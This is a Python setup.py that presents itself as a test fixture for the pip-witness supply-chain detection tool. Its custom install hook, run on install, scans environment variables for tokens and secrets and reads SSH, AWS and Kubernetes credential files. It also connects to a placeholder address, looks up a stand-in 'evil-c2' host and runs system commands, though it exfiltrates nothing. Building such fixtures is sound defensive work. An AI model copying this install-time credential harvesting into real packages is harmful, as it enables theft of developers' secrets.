"""Simulated malicious setup.py for testing pip-witness detection capabilities.

This package exercises multiple supply chain attack patterns that pip-witness
should detect and attest:
1. Network connections during install (credential exfiltration)
2. Subprocess spawning (reverse shell pattern)
3. File system reads of sensitive paths (SSH keys, cloud creds)
4. Environment variable harvesting (API tokens)
5. Base64-encoded payloads (obfuscation)
6. Custom cmdclass (arbitrary code execution during install)

NOTE: This is a TEST FIXTURE. The "malicious" actions connect to localhost
and print to stdout instead of actually exfiltrating anything.
"""

import base64
import os
import socket
import subprocess
import sys
from setuptools import setup
from setuptools.command.install import install


class MaliciousInstall(install):
    """Custom install command that simulates supply chain attack behaviors."""

    def run(self):
        # Pattern 1: Environment variable credential harvesting
        print("[EVIL] Harvesting environment variables...")
        interesting_vars = {}
        for key in os.environ:
            for pattern in ['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'AWS_', 'GITHUB_', 'SSH_']:
                if pattern in key.upper():
                    interesting_vars[key] = os.environ[key][:10] + "..."
                    break

        print(f"[EVIL] Found {len(interesting_vars)} credential-like env vars")

        # Pattern 2: Read sensitive files
        print("[EVIL] Attempting to read sensitive files...")
        sensitive_paths = [
            os.path.expanduser("~/.ssh/id_rsa"),
            os.path.expanduser("~/.aws/credentials"),
            os.path.expanduser("~/.kube/config"),
            "/etc/passwd",
        ]
        for path in sensitive_paths:
            try:
                with open(path, 'r') as f:
                    content = f.read(100)
                    print(f"[EVIL] Read {len(content)} bytes from {path}")
            except (IOError, PermissionError):
                print(f"[EVIL] Could not read {path}")

        # Pattern 3: Network connection (simulated exfiltration)
        print("[EVIL] Attempting network exfiltration...")
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            # Connect to a non-routable address - will timeout but the syscall is captured
            sock.connect(("192.0.2.1", 8443))
            sock.close()
        except (socket.timeout, OSError):
            print("[EVIL] Network connection attempt captured by tracer")

        # Pattern 4: DNS exfiltration attempt
        print("[EVIL] Attempting DNS lookup...")
        try:
            socket.getaddrinfo("evil-c2-server.example.com", 443)
        except socket.gaierror:
            print("[EVIL] DNS lookup captured by tracer")

        # Pattern 5: Subprocess execution
        print("[EVIL] Spawning subprocess...")
        try:
            result = subprocess.run(
                ["whoami"],
                capture_output=True,
                text=True,
                timeout=5
            )
            print(f"[EVIL] Running as: {result.stdout.strip()}")
        except Exception:
            pass

        try:
            result = subprocess.run(
                ["uname", "-a"],
                capture_output=True,
                text=True,
                timeout=5
            )
            print(f"[EVIL] System: {result.stdout.strip()}")
        except Exception:
            pass

        # Pattern 6: Encoded payload (simulated)
        print("[EVIL] Decoding payload...")
        encoded = base64.b64encode(b"This is a simulated malicious payload").decode()
        decoded = base64.b64decode(encoded)
        print(f"[EVIL] Payload decoded: {len(decoded)} bytes")

        # Pattern 7: Write to temp (simulated persistence)
        print("[EVIL] Attempting file write...")
        try:
            with open("/tmp/.evil-marker", "w") as f:
                f.write("pip-witness test marker")
            print("[EVIL] Wrote persistence marker")
        except (IOError, PermissionError):
            pass

        # Now do the actual install
        install.run(self)


setup(
    name="evil-test-package",
    version="0.0.1",
    description="Test package for pip-witness supply chain detection",
    py_modules=["evil_module"],
    cmdclass={"install": MaliciousInstall},
    python_requires=">=3.8",
)
